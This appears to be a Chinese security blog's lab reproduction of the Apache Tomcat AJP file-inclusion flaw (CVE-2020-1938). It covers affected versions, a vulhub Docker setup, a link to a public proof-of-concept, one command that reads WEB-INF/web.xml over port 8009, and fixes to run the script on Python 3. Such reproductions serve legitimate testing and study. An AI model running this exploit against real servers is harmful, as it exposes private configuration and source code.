Apache Tomcat AJP 文件包含漏洞复现


0x01 漏洞简介

Tomcat 服务器作一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。

CVE-2020-1938漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

影响范围

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

0x02 漏洞环境

使用vulnhub快速搭建靶场

cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。

0x03 漏洞利用

目前,在网上已经公布了该漏洞的POC:

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

将POC下载到本地,使用如下命令读取WEB-INF/web.xml文件:

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.126.130 -p 8009 -f WEB-INF/web.xml

该POC脚本是python2编写的,如果想用python3运行,只需修改如下两处:

self.socket.makefile("rb", bufsize=0) 修改为 self.socket.makefile("rb", buffering=0)
print("".join([d.data for d in data])) 修改为 print("".join([d.data.decode() for d in data]))

成功读取WEB-INF/web.xml文件,证明漏洞存在

参考文章


文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
 上一篇
phpMyAdmin 4.8.1 远程文件包含漏洞复现 phpMyAdmin 4.8.1 远程文件包含漏洞复现
在phpMyAdmin 4.8.2 之前的 4.8.x 版本中,其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
2020-10-03
下一篇 
Perun 内网渗透扫描神器 Perun 内网渗透扫描神器
Perun是一款主要适用于乙方安服、渗透测试人员和甲方RedTeam红队人员的网络资产漏洞扫描器/扫描框架,它主要适用于内网环境,加载漏洞检测Vuln模块后能够快速发现安全问题,并根据需要生成报表,以方便安全人员对授权项目完成测试工作。
2020-09-27
  目录